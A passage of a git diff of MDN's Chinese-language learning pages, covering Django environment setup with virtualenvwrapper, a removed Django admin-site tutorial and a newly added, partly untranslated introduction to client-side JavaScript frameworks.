Windows安装程序默认包含pip3 (Python包管理器)。同样在命令提示符中输入以下内容来列出已安装的包:

- -
pip3 list
-
- -
-

注意:安装包应该已把运行上述命令所需的一切设置完成。但如果你得到的消息是找不到Python,那么你可能忘记将Python添加到系统路径中了。你可以通过再次运行安装包,选择"Modify",并在下一页面中勾选 "Add Python to environment variables"来修复这个问题。

-
- -

在Python虚拟环境中使用Django

- -

我们使用virtualenvwrapper(Linux及macOS)和 virtualenvwrapper-win(WIndows)来创建Python虚拟环境,而它们又使用了virtualenv。封装工具创建了一个一致的接口来管理各个平台上的接口。

- -

安装虚拟环境软件

- -

Ubuntu虚拟环境设置

- -

安装了Python和pip之后,你就可以安装virtualenvwrapper(包括了virtualenv)。可以在这里找到正式的安装指南,或按照以下指导操作。

- -

使用pip3安装该工具:​​​​​​

- -
sudo pip3 install virtualenvwrapper
- -

然后将以下代码行添加到shell启动文件的末尾(这是主目录中的一个隐藏文件,名字是.bashrc)。这些文件设置了虚拟环境应该存在的位置、开发项目目录的位置以及与这个包一起安装的脚本的位置。

- -
export WORKON_HOME=$HOME/.virtualenvs
-export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
-export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 '
-export PROJECT_HOME=$HOME/Devel
-source /usr/local/bin/virtualenvwrapper.sh
- -
-

注意:VIRTUALENVWRAPPER_PYTHON 和 VIRTUALENVWRAPPER_VIRTUALENV_ARGS变量指向Python3的常规安装位置,source /usr/local/bin/virtualenvwrapper.sh指向virtualenvwrapper.sh脚本的一般安装位置。 如果您在测试时发现virtualenv无法正常工作,则要检查的一件事是Python和该脚本是否在预期的位置(然后适当更改启动文件)。

- -

你可以使用which virtualenvwrapper.sh 和 which python3命令为你的系统找到正确的安装位置。

-
- -

然后通过在终端中运行以下命令重载启动文件:

- -
source ~/.bashrc
- -

此时,你应该能看到一些脚本正在运行,如下所示:

- -
virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject
-virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject
-...
-virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate
-virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate
-virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details
- -

然后你就可以使用 mkvirtualenv命令创建一个新的虚拟环境。

- -

macOS 虚拟环境设置

- -

在macOS上设置virtualenvwrapper 几乎和在Ubuntu上是一样的(你同样可以按照以下指导操作,或在这里找到正式的安装指南)。

- -

使用pip安装virtualenvwrapper(并绑定virtualenv),如下所示。

- -
sudo pip3 install virtualenvwrapper
- -

然后将以下代码行添加到shell启动文件的末尾:

- -
export WORKON_HOME=$HOME/.virtualenvs
-export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
-export PROJECT_HOME=$HOME/Devel
-source /usr/local/bin/virtualenvwrapper.sh
- -
-

注意:VIRTUALENVWRAPPER_PYTHON 和 VIRTUALENVWRAPPER_VIRTUALENV_ARGS变量指向Python3的常规安装位置,source /usr/local/bin/virtualenvwrapper.sh指向virtualenvwrapper.sh脚本的一般安装位置。 如果您在测试时发现virtualenv无法正常工作,则要检查的一件事是Python和该脚本是否在预期的位置(然后适当更改启动文件)。

- -

例如,在macOS上的一个安装测试中,启动文件中必须有以下几行代码:

- -
export WORKON_HOME=$HOME/.virtualenvs
-export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3
-export PROJECT_HOME=$HOME/Devel
-source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh
- -

你可以使用which virtualenvwrapper.sh 和 which python3命令为你的系统找到正确的安装位置。

-
- -

此处使用和Ubuntu相同的代码行,但是启动文件是主目录中叫做.bash_profile的隐藏文件。

- -
-

注意:如果找不到.bash_profile进行编辑,也可以使用nano在终端中打开它,命令看起来类似于:

- -
cd ~  # Navigate to my home directory
-ls -la #List the content of the directory. YOu should see .bash_profile
-nano .bash_profile # Open the file in the nano text editor, within the terminal
-# Scroll to the end of the file, and copy in the lines above
-# Use Ctrl+X to exit nano, Choose Y to save the file.
-
- -

然后通过在终端中运行以下命令重载启动文件:

- -
source ~/.bashrc
- -

此时,你应该能看到一些脚本正在运行(和Ubuntu中同样的脚本)。然后你就可以使用 mkvirtualenv命令创建一个新的虚拟环境。

- -

Windows 10 虚拟环境设置

- -

安装 virtualenvwrapper-win 甚至比设置virtualenvwrapper 更简单,因为你无需配置工具用来存储虚拟环境信息的位置(有一个默认值)。你需要做的只是在命令提示符中运行以下命令:

- -
pip3 install virtualenvwrapper-win
- -

然后你就可以使用 mkvirtualenv命令创建一个新的虚拟环境。

- -

创建虚拟环境

- -

一旦你成功安装了virtualenvwrapper 或 virtualenvwrapper-win,那么在所有平台中使用虚拟环境的方法是非常相似的。

- -

现在你可以使用 mkvirtualenv命令创建一个新的虚拟环境。在运行此命令时,你将看到正在设置的环境(你所看到的只略微与平台相关)。命令完成后,新的虚拟环境将被激活——你能看到提示符的开头就是括号中的环境名称(以下我们展示的是Ubuntu的,但是在Windows/macOS上,末行时相似的|)

- -
$ mkvirtualenv my_django_environment
-
-Running virtualenv with interpreter /usr/bin/python3
-...
-virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details
-(my_django_environment) ubuntu@ubuntu:~$
- -

现在你已进入虚拟环境,可以进行Django安装并开始开发。

- -
-

注意:从现在开始,在本文(实际上是该模块)中,请假定所有命令都在类似于我们上面设置的Python虚拟环境中运行。

-
- -

使用一个虚拟环境

- -

您应该知道一些其他有用的命令(在工具的文档中还有更多,但这些是您将经常使用的命令):

- - - -
- -

安装Django

- -

一旦你创建了一个虚拟环境,并且使用workon 进入了它,就可以使用pip3来安装Django。

- -
pip3 install django
- -

您可以通过运行以下命令来测试Django是否安装(这只是用来测试Python是否可以找到Django模块):

- -
# Linux/macOS
-python3 -m django --version
- 1.10.10
-
-# Windows
-py -3 -m django --version
- 1.10.10
-
- -
-

注意如果上面的Windows命令没有显示django模块,请尝试:

- -
py -m django --version
- -

在Windows中,Python 3脚本是通过在命令前面加上py -3来启动的,尽管该脚本可能会因您的特定安装而有所不同。 如果遇到命令问题,请尝试省略-3修饰符。 在Linux /macOS中,命令是python3。

-
- -
-

重要提示:本模块的其余部分使用Linux命令来调用Python 3(python3)。如果您在Windows上工作,只需将此前缀替换为: py -3

-
- -

测试你的安装

- -

上面的测试工作并不是很有趣。一个更有趣的测试是创建一个框架项目并查看它的工作情况。要做到这一点,先在你的命令提示符/终端导航到你想存储你Django应用程序的位置。为您的测试站点创建一个文件夹并进入其中。

- -
mkdir django_test
-cd django_test
-
- -

然后,您可以像所展示的一样使用django-admin工具创建一个名为“ mytestsite ” 的新框架站点。创建网站后,您可以CD到此文件夹,并将在其中找到管理项目的主要脚本,名为manage.py

- -
django-admin startproject mytestsite
-cd mytestsite
- -

我们可以在这个文件夹中使用manager.pyrunserver命令运行开发web服务器,如下所示。

- -
$ python3 manage.py runserver
-Performing system checks...
-
-System check identified no issues (0 silenced).
-
-You have 15 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
-Run 'python manage.py migrate' to apply them.
-
-December 16, 2018 - 07:06:30
-Django version 2.2.12, using settings 'mytestsite.settings'
-Starting development server at http://127.0.0.1:8000/
-Quit the server with CONTROL-C.
- -
-

注意:上面的命令显示了Linux /macOS命令。您可以忽略关于“15 unapplied migration(s)”的警告!

-
- -

一旦服务器运行,您可以通过本地Web浏览器打开http://127.0.0.1:8000/来查看该站点。你应该看到一个如下所示的网站:

- -

The home page of the skeleton Django app.

- - - -

概要

- -

现在,你的计算机中已经启动并运行了一个Django开发环境。

- -

在测试部分,您还简要地了解了如何使用django -admin startproject创建一个新的Django网站,并使用开发web服务器(python3 manager .py runserver)在浏览器中运行它。在下一篇文章中,我们将对此过程进行扩展,构建一个简单但完整的web应用程序。

- -

看看瞧瞧

- - - -

{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}

diff --git "a/files/zh-cn/learn/server-side/django/\347\256\241\347\220\206\347\253\231\347\202\271/index.html" "b/files/zh-cn/learn/server-side/django/\347\256\241\347\220\206\347\253\231\347\202\271/index.html" deleted file mode 100644 index d3252d84c5..0000000000 --- "a/files/zh-cn/learn/server-side/django/\347\256\241\347\220\206\347\253\231\347\202\271/index.html" +++ /dev/null @@ -1,339 +0,0 @@ ---- -title: 'Django Tutorial Part 4: Django 管理员站点' -slug: learn/Server-side/Django/管理站点 -translation_of: Learn/Server-side/Django/Admin_site ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}
- -

好了,我们已经为本地图书馆网站 LocalLibrary 创建了模型,我们接下来使用 Django 管理站点去添加 一些 “真“书数据。首先我们展示如何用管理站点注册模型,然后展示如何登录和创建一些数据。本文最后,我们介绍你可以进一步改进管理站点的建议。

- - - - - - - - - - - - -
前提:完成: Django Tutorial Part 3: 使用模型
目的: -

了解关于管理站点的优点与缺点,并且可以使用它为我们模型创建一些记录。

-
- -

综述

- -

Django管理应用程序可以使用您的模型自动构建可用于创建,查看,更新和删除记录的站点区域。这可以在开发过程中节省大量的时间,从而很容易测试您的模型,并了解您是否拥有正确的数据。根据网站的类型,管理应用程序也可用于管理生产中的数据。Django项目建议仅用于内部数据管理(即仅供管理员或组织内部人员使用),因为以模型为中心的方法不一定是所有用户最好的界面,并且暴露了大量不必要的细节关于模型。

- -

创建基础项目时,自动完成所有将您的网站中的管理应用程序包含在内的配置文件 (有关所需实际依赖关系的信息  (如有需要请看 Django docs here). 其结果是,你必须做你的模型添加到管理应用程序是  注册  他们。在本文末尾,我们将简要介绍如何进一步配置管理区域以更好地显示我们的模型数据。

- -

注册模型后,我们将展示如何创建一个新的“超级用户”,登录到该网站,并创建一些书籍,作者,书籍实例和流派。这些将有助于测试我们将在下一个教程中开始创建的视图和模板。

- -

注册模型

- -

首先,在目录应用程序(/locallibrary/catalog/admin.py)中打开 admin.py 。此时此刻它看起来像这样—注意它已经导入了django.contrib.admin:

- -
from django.contrib import admin
-
-# Register your models here.
-
- -

通过将以下文本复制到文件的底部来注册模型。该代码简单地导入模型,调用 admin.site.register 来注册它们。

- -
from .models import Author, Genre, Book, BookInstance
-
-admin.site.register(Book)
-admin.site.register(Author)
-admin.site.register(Genre)
-admin.site.register(BookInstance)
-
- -
注意: 如果你接受创建模型以表示书籍的自然语言的挑战(see the models tutorial article), 导入并注册。
- -

这是在网站上注册模型或多模型的简单方法,管理站点是高度可定制的,我们将进一步讨论注册模型的其他方式。

- -

创建一个超级用户

- -

为了登录管理员站点,我们需要启动工作人员状态的用户账户。为了查看和创建记录,我们还需要该用户具有所有对象的记录。你可以创建一个“超级用户”账号,该账号具有完全访问该站点和所有必需的权限可以使用manage.py

- -

调用接下来的命令,在同样的目录下,manage.py 创建超级用户。你将被提示输入用户名,电子邮件地址,和强密码。

- -
python3 manage.py createsuperuser
-
- -

一旦命令完成,一个新超级用户将被添加到数据库。现在重新启动开发服务器,以便我们可以测试登录名:

- -
python3 manage.py runserver
-
- -

登入并使用该网站

- -

登录网站,打开 /admin (e.g. http://127.0.0.1:8000/admin)
- 和进入你的新超级用户名和密码凭据(你将被重定向到 登录页面,然后在你进入你的详细信息后回到 /admin URL

- -

这部分网站展示我们所有的模型,按安装的应用程序分组。你可以点击模型名称来进入到 它所有相关详细记录的页面,你可以进一步点击这些记录进行编辑。你也可以直接点击每个模型旁边的添加链接,开始创建该类型的记录。

- -

Admin Site - Home page

- -

点击图书右侧的添加链接来新建一本书(这将显示一个类似下面的对话框)。注意每个字段标题,使用的小部件的类型以及help_text(如果有的话)你要在模型中匹配指定的值。

- -

输入字段的值,你可以创建一个新的作者或类型通过 按 + 按钮(或者如果你已经创建选项,选择已有的值)。完成后,你可以按 保存保存并添加另一个,或保存并继续编辑来保存记录。

- -

Admin Site - Book Add

- -
-

注意: 在这里,我们希望你花费一点时间添加一些书,作者,类型(如: 幻想)到你的应用。确保每个作者和类型都包含几本不同的书籍(这会是你的列表和详细视图在文章系列中后期使用时更有趣)。

-
- -

我们完成添加书籍,在顶部标签中,点击 Home 链接将回到主管理页面。然后点击 Books 链接显示当前书籍的列表(或其他链接之一,以查看其他型号列表)。现在你已经添加了几本书,列表可能与下面的截图类似。显示每本书的标题;这是书模型 __str__() 方法返回的值,在上一文章中提到。

- -

Admin Site - List of book objects

- -

从该列表中,您可以通过选中不需要的图书旁边的复选框来删除图书,从“ 操作”下拉列表中选择“ 删除”操作  ,然后按Go按钮。您也可以通过按下ADD BOOK按钮添加新书。

- -

您可以通过在链接中选择其名称来编辑书籍。一本书的编辑页面如下所示,与“添加”页面几乎相同。主要的区别是页面标题(更改书)和添加  删除,历史和VIEW ON SITE按钮(最后一个按钮出现,因为我们定义了get_absolute_url()我们的模型中的  方法)。

- -

Admin Site - Book Edit

- -

现在回到主页(使用主页链接的导航痕迹),然后查看作者  和类型  列表 - 您应该已经有很多创建从添加新书,但可以自由添加一些更多。

- -

你不会有任何书籍实例,因为这些不是从图书创建的(虽然你可以从 BookInstance - 创建一个书  - 这是ForeignKey字段的性质)。返回主页,然后按关联的添加按钮显示下面的添加书实例屏幕。请注意,全球唯一的ID,可用于单独标识库中单书的副本。

- -

Admin Site - BookInstance Add

- -

为你的书创建一些记录。将状态设置为可用于至少一些记录,并为其他记录贷款。如果状态 不可 用,则还设置未来到期日期。

- -

而已!您现在已经学会了如何 设置和使用管理站点。您还创建书的记录,BookInstance,Genre,和Author 我们就可以一次我们创造我们自己的观点和模板使用。

- -

高级配置

- -

Django 使用注册模型的信息为创建基本管理站点做了非常好的工作:

- - - -

你可以进一步自定义界面,使它更容易使用,你可以改进的一些想法:

- - - -

在本节中,我们将看一些改进本地图书馆界面的更改,其中包括添加更多信息Book和Author 模型列表,以及改进编辑视图的布局。我们不会改变 Language 和 Genre 模拟演示,因为它们只有一个字段,所以这样没有真正的好处。

- -

你可以 在The Django Admin site 中找到所以管理员网站自定义选项的完整参考。

- -

注册 一个 ModelAdmin 类

- -

在管理界面去改变一个模型的展示方式,当你定义了 ModelAdmin 类(描述布局)和将其注册到模型中。

- -

让我们开始作者模型。打开 admin.py 在目录应用程序(/locallibrary/catalog/admin.py)。注释你的原始注册(前缀为#)在 Author 模型

- -
# admin.site.register(Author)
- -

现在添加一个 AuthorAdmin 和注册,如下

- -
# Define the admin class
-class AuthorAdmin(admin.ModelAdmin):
-    pass
-
-# Register the admin class with the associated model
-admin.site.register(Author, AuthorAdmin)
-
- -

我们再为Book 添加 ModelAdmin 类 和 BookInstance 类。我们需要注释我们原始注册:

- -
#admin.site.register(Book)
-#admin.site.register(BookInstance)
- -

现在创建和注册新的模型;为了演示的目的,我们将使用@register 装饰器来注册模型(这和 admin.site.register() 语法作用一样)。

- -
# Register the Admin classes for Book using the decorator
-
-@admin.register(Book)
-class BookAdmin(admin.ModelAdmin):
-    pass
-
-# Register the Admin classes for BookInstance using the decorator
-
-@admin.register(BookInstance)
-class BookInstanceAdmin(admin.ModelAdmin):
-    pass
-
- -

可以看到我们现在 的 类都是空的 (“pass”),所以管理操作并不会改变,我们现在对这些类进行扩展,以定义我们针对模型的管理行为。

- -

配置列表视图

- -

该 本地图书馆 目前列出的所以作者都使用从模型生成的对象名称的__str__() 方法。如果只是几个作者,这无关紧要。但一旦你有许多作者,这可能会重复。要区分它们,或仅仅因为你想要显示有关每个作者的更多有趣的信息,你可以使用list_display 向视图添加其他字段。

- -

用下面的代码替代 你 AuthorAdmin 的类。在元组中声明要显示列表中的字段名称以所需的顺序排列,如图(这些和原始模型中指定的名称相同)。

- -
class AuthorAdmin(admin.ModelAdmin):
-    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
-
- -

重新启动站点并导航到作者列表。现在应该显示上述字段,如下所示:

- -

Admin Site - Improved Author List

- -

对于我们的Book模型,我们将另外显示authorgenre。这author是一个ForeignKey字段(一对多)的关系,所以将由__str()__相关记录的值表示。用BookAdmin下面的版本替换课程。

- -
class BookAdmin(admin.ModelAdmin):
-    list_display = ('title', 'author', 'display_genre')
-
- -

不幸的是,我们不能直接指定 list_display 中的 genre 字段, 因为它是一个ManyToManyField (Django可以防止这种情况,因为在这样做时会有大量的数据库访问“成本”)。相反,我们将定义一个 display_genre 函数来获取信息作为一个字符串(这是我们上面调用的函数;下面我们将定义它)。

- -
-

注意:在genre这里获取可能不是一个好主意,因为数据库操作的“成本”。我们向您展示了如何在模型中调用函数的其他原因非常有用 - 例如在列表中的每个项目旁边添加一个“ 删除”链接。

-
- -

将以下代码添加到Book模型(models.py)中。这将从 genre字段的前三个值(如果存在)创建一个字符串,并创建一个short_description可以在此方法的管理站点中使用的字符串。

- -
    def display_genre(self):
-        """
-        Creates a string for the Genre. This is required to display genre in Admin.
-        """
-        return ', '.join([ genre.name for genre in self.genre.all()[:3] ])
-    display_genre.short_description = 'Genre'
-
- -

保存模型并更新管理员后,重新启动站点并转到图书列表页面; 你应该看到像下面这样的书籍清单:

- -

Admin Site - Improved Book List

- -

该Genre模型(和Language模式,如果你定义一个)都有一个单一的领域,所以没有一点为他们创造更多的显示领域的附加模型。

- -
-

注意:值得更新BookInstance模型列表,至少显示状态和预期的返回日期。我们已经补充说,作为本文末尾的挑战!

-
- -

添加列表过滤器

- -

一旦列表中有很多项目,就可以过滤哪些项目被显示出来。这是通过在list_filter属性中列出字段来完成的。用BookInstanceAdmin下面的代码片段替换你当前的  类。

- -
class BookInstanceAdmin(admin.ModelAdmin):
-    list_filter = ('status', 'due_back')
-
- -

列表视图现在将在右侧包含一个过滤器框。请注意如何选择日期和状态来过滤值:

- -

Admin Site - BookInstance List Filters

- -

整理细节视图布局

- -

默认情况下,详细视图按照其在模型中声明的顺序垂直排列所有字段。您可以更改声明的顺序,哪些字段显示(或排除),区段是否用于组织信息,字段是水平还是垂直显示,甚至是管理窗体中使用的编辑窗口小部件。

- -
-

注意:LocalLibrary模型比较简单,因此我们不需要更改布局; 不管怎样,我们会做一些改变,只是为了向你展示如何。

-
- -

控制哪些字段被显示和布局

- -

更新您的  AuthorAdmin 类以添加fields行,如下所示(粗体):

- -
class AuthorAdmin(admin.ModelAdmin):
-    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
-    fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]
-
- -

fields 属性列表只是要显示在表格上那些领域,如此才能。字段默认情况下垂直显示,但如果您进一步将它们分组在元组中(如上述“日期”字段中所示),则会水平显示。

- -

重新启动您的应用程序并转到作者详细信息视图 - 现在应该如下所示:

- -

Admin Site - Improved Author Detail

- -
-

注意:您还可以使用exclude属性来声明要从表单中排除的属性列表(将显示模型中的所有其他属性)。

-
- -

剖切细节视图

- -

你可以使用 fieldsets 属性添加“部分”以在详细信息表单中对相关的模型信息进行分组。

- -

在  BookInstance模型中,我们有相关的书是什么(即信息  name,imprint和id),并且当将可用(status,due_back)。我们可以通过将粗体文本添加到我们的BookInstanceAdmin类中来将其添加到不同的部分  。

- -
@admin.register(BookInstance)
-class BookInstanceAdmin(admin.ModelAdmin):
-    list_filter = ('status', 'due_back')
-
-    fieldsets = (
-        (None, {
-            'fields': ('book','imprint', 'id')
-        }),
-        ('Availability', {
-            'fields': ('status', 'due_back')
-        }),
-    )
- -

每个部分都有自己的标题(或者None如果你不想要一个标题)和字典中的一个相关的元组 - 描述的格式很复杂,但是如果你看上面的代码片段,那么它们很容易理解。

- -

重新启动并导航到书籍实例视图; 表格应如下所示:

- -

Admin Site - Improved BookInstance Detail with sections

- -

关联记录的内联编辑

- -

有时,可以同时添加关联记录是有意义的。例如,将书籍信息和有关您在同一详细信息页面上的特定副本的信息同时显示可能是有意义的。

- -

你可以通过声明 inlines, 类型 TabularInline (水平布局 ) or StackedInline (垂直布局 ,就像默认布局)这样做. 您可以通过在您的以下的粗体中添加以下行,将内容中的BookInstance信息添加到我们的Book详细信息中BookAdmin

- -
class BooksInstanceInline(admin.TabularInline):
-    model = BookInstance
-
-@admin.register(Book)
-class BookAdmin(admin.ModelAdmin):
-    list_display = ('title', 'author', 'display_genre')
-    inlines = [BooksInstanceInline]
-
- -

尝试重新启动您的应用程序,然后查看图书的视图 - 在底部您应该看到与本书相关的图书实例:

- -

Admin Site - Book with Inlines

- -

在这种情况下,我们所做的就是声明我们的tablular内联类,它只是从内联模型添加所有字段。您可以为布局指定各种附加信息,包括要显示的字段,其顺序,是否只读等。(有关详细信息,请参阅  TabularInline ). 

- -
-

注意:这个功能有一些痛苦的限制!在上面的屏幕截图中,我们有三个现有的书籍实例,其次是新的书籍实例的三个占位符(看起来非常相似!)。默认情况下没有备用书实例会更好,只需使用“ 添加另一个书”实例链接添加它们,或者可以BookInstance从这里列出作为不可读的链接。第一个选项可以通过extraBookInstanceInline模型中将属性设置为0 来完成,自己尝试一下。

-
- -

挑战自己

- -

我们在本节学到了很多东西,所以现在是时候尝试一些事情了。

- -

1. 对于  BookInstance列表视图,添加代码以显示书籍,状态,到期日期和ID(而不是默认__str__()文本)。
- 2. 添加的在线上市Book项目的Author使用,因为我们做了同样的做法详细视图Book/ BookInstance。

- -

概要

- -

而已!您现在已经了解了如何以最简单和改进的形式设置管理站点,如何创建超级用户以及如何导航管理站点以及查看,删除和更新记录。一路上,您创建了一堆书籍,BookInstances,流派和作者,一旦我们创建了自己的视图和模板,我们就可以列出和展示。

- - - -

进阶阅读

- - - -

{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}

diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html new file mode 100644 index 0000000000..3975354417 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html @@ -0,0 +1,393 @@ +--- +title: 客户端框架介绍 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍 +tags: + - JavaScript + - 初学者 + - 学习 + - 客户端 + - 框架 +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}
+ +

在本章节我们开始大致了解框架, 简要回顾JavaScript和框架的历史,为什么框架会存在以及它们提供了什么, 如何开始考虑选择一个框架并学习, 以及对于客户端框架还有什么替代方案.

+ + + + + + + + + + + + +
先决条件:熟悉 HTML, CSS, 以及 JavaScript 语言的核心.
目标:了解客户端JavaScript框架是如何存在的,它们能解决什么问题,还有哪些替代方案,以及如何选择一个框架.
+ +

简史

+ +

当JavaScript在1996被发布后, 它给网络增加了少许的交互性和乐趣, 直到那时, 网页仍由静态文档组成. 网络应该不仅仅是阅读,更是创造的地方. 随着JavaScript的流行. 使用JavaScript的开发者们创造工具来解决他们遇到的问题, 并且将其打包成称为的可复用组件, 这样就能和他人共享解决方案. 这种共享库的体系帮助塑造了网络的增长.

+ +

现在, JavaScript是网络的基本部分, used on 95% of all websites, 而且网络又是现代生活的基本部分. 用户在网络上写文章, 管理预算, 听音乐, 看电影,  以及和相隔万里的人通过文字, 音频, 视频聊天来瞬时交流. 网络让我们能够做到那些过去只能在电脑上安装本地应用程序才能做到的事. 这些现代的, 复杂的, 具有交互性的网站通常被称为 网络应用程序.

+ +

现代JavaScript框架的到来加快了打造高度动态化和交互性强的应用程序的速度.  框架 就是提供该如何构建应用程序的意见的库。这些意见能使应用具有可预测性和同质性。可预测性让软件能在扩展到很大规模的同时仍保持可维护性。可预测性和可维护性对于一个软件的长久健康运行是十分重要的。

+ +

在现代网络中,JavaScript框架为众多令人印象深刻的软件提供支持——包括许多你可能每天都使用的网站。你正在阅读的这个MDN Web 文档页面, 就是使用React / ReactDOM框架为其前端提供动力。

+ +

有哪些框架?

+ +

有很多框架可供你选择,但以下主要介绍目前公认的“四大框架”。

+ +

Ember

+ +

Ember于2011年12月发布,最初作为SproutCore项目的延续而开始。比其新式的替代品(例如React和Vue),作为老框架它的用户人数要少得多。但因其稳定性、社区支持以及一些明智的编程原则,它仍然享有很高的知名度。

+ +

Angular

+ +

Angular 是一个开源 Web 应用程序框架,正式发布于2016年9月14日。它由构建 AngularJS 的团队完全重写,并由 Google 的 Angular 团队以及个人和公司社区共同领导。

+ +

Angular 是一种基于组件的框架,使用声明式的HTML模板。在应用构建时,框架的编译器将 HTML 模板转换为优化好的 JavaScript 指令,这一过程对开发者是透明的。Angular 使用 TypeScript,它是 JavaScript 的超集,我们将在下一章中对其进行更多介绍。

+ +

Vue

+ +

Evan You first released Vue in 2014, after working on and learning from the original AngularJS project. Vue is the youngest of the big four, but has enjoyed a recent uptick in popularity.

+ +

Vue, like AngularJS, extends HTML with some of its own code. Apart from that, it mainly relies on modern, standard JavaScript.

+ +

React

+ +

Facebook 在 2013 发布了 React。 在当时 React 已经被Facebook内部用来解决许多问题。 严格来说 React 本身并不是框架,而是一个用来渲染UI 组件的库。 React is used in combination with other libraries to make applications — React and React Native enable developers to make mobile applications; React and ReactDOM enables them to make web applications, etc.

+ +

Because React and ReactDOM are so often used together, React is colloquially understood as a JavaScript framework. As you read through this module, we will be working with that colloquial understanding.

+ +

React extends JavaScript with HTML-like syntax, known as JSX.

+ +

框架为何会存在?

+ +

我们已经讨论了因为什么契机而创造了框架,但我们仍不知道为什么开发者认为有必要创造它。要知道这个问题的答案,我们首先需要检查软件开发中的各种挑战。

+ +

设想一个很常见的软件:一个To-Do清单创建器,在接下来的章节中我们会使用各种框架来实现它。这个应用应让用户可以完成诸如呈现任务列表、添加和删除任务等操作,且在完成这些操作的同时能可靠地跟踪和更新应用程序的底层数据。在软件开发中,这种底层数据被称为状态。

+ +

上述每个目标理论上都很简单。我们可以遍历数据来列出清单,添加一个对象来创建新任务,使用标识符来查找、编辑和删除任务。需要注意的是,用户都是在浏览器中使用应用的这些功能,然而这就引出了一些问题: 每当我们修改应用的数据时,我们都需要更新用户界面以使其匹配。 

+ +

我们可以通过To-Do应用的一个功能来检验这个问题的难点:呈现任务清单。

+ +

冗长的DOM操作

+ +

Building HTML elements and rendering them in the browser at the appropriate time takes a surprising amount of code. Let's say that our state is an array of objects structured like this:

+ +
const state = [
+  {
+    id: 'todo-0',
+    name: 'Learn some frameworks!'
+  }
+]
+ +

How do we show one of those tasks to our user? We want to represent each task as a list item – an HTML <li> element inside of an unordered list element (a <ul>). How do we make it? That could look something like this:

+ +
function buildTodoItemEl(id, name) {
+  const item = document.createElement('li');
+  const span = document.createElement('span');
+  const textContent = document.createTextNode(name);
+
+  span.appendChild(textContent)
+
+  item.id = id;
+  item.appendChild(span);
+  item.appendChild(buildDeleteButtonEl(id));
+
+  return item;
+}
+ +

Here, we use the document.createElement() method to make our <li>, and several more lines of code to create the properties and children it needs.

+ +

The tenth line of this snippet references another build function: buildDeleteButtonEl(). It follows a similar pattern to the one we used to build a list item element:

+ +
function buildDeleteButtonEl(id) {
+  const button = document.createElement('button');
+  const textContent = document.createTextNode('Delete');
+
+  button.setAttribute('type', 'button');
+  button.appendChild(textContent);
+
+  return button;
+}
+ +

This button doesn't do anything yet, but it will later once we decide to implement our delete feature. The code that will render our items on the page might read something like this:

+ +
function renderTodoList() {
+  const frag = document.createDocumentFragment();
+  state.tasks.forEach(task => {
+    const item = buildTodoItemEl(task.id, task.name);
+    frag.appendChild(item);
+  });
+
+  while (todoListEl.firstChild) {
+    todoListEl.removeChild(todoListEl.firstChild);
+  }
+  todoListEl.appendChild(frag);
+}
+ +

We've now got well over thirty lines of code dedicated just to the UI – just to the step of rendering something in the DOM – and at no point do we add classes that we could use later to style our list-items!

+ +

Working directly with the DOM, as in this example, requires understanding many things about how the DOM works: how to make elements; how to change their properties; how to put elements inside of each other; how to get them on the page. None of this code actually handles user interactions, or addresses adding or deleting a task. If we add those features, we have to remember to update our UI in the right time and in the right way.

+ +

JavaScript frameworks were created to make this kind of work a little easier — they exist to provide a better developer experience. They don't bring brand-new powers to JavaScript; they give you easier access to JavaScript's powers so you can build for today's web.

+ +

If you want to see code samples from this section in action, you can check out a working version of the app on CodePen, which also allows users to add and delete new tasks.

+ +

Read more about the JavaScript used in this section:

+ + + +

另一种打造UIs的方式

+ +

Every JavaScript framework offers a way to write user interfaces more declaratively. That is, they allow you to write code that describes how your UI should look, and the framework makes it happen in the DOM behind the scenes.

+ +

The vanilla JavaScript approach to building out new DOM elements in repetition was difficult to understand at a glance.  By contrast, the following block of code illustrates the way you might use Vue to describe our list of tasks:

+ +
<ul>
+  <li v-for="task in tasks" v-bind:key="task.id">
+    <span>\{{task.name\}}</span>
+    <button type="button">Delete</button>
+  </li>
+</ul>
+ +

That's it. This snippet reduces approximately thirty-two lines of code down to six lines. If the curly braces and v- attributes here are unfamiliar to you, that's okay; you’ll learn about Vue-specific syntax later on in the module. The thing to take away here is that this code looks like the UI it represents, whereas the vanilla JavaScript code does not.

+ +

Thanks to Vue, we didn't have to write our own functions for building the UI; the framework will handle that for us in an optimized, efficient way. Our only role here was to describe to Vue what each item should look like. Developers who are familiar with Vue can join our project and quickly work out what is going on. Vue is not alone in this: using a framework improves team as well as individual efficiency.

+ +

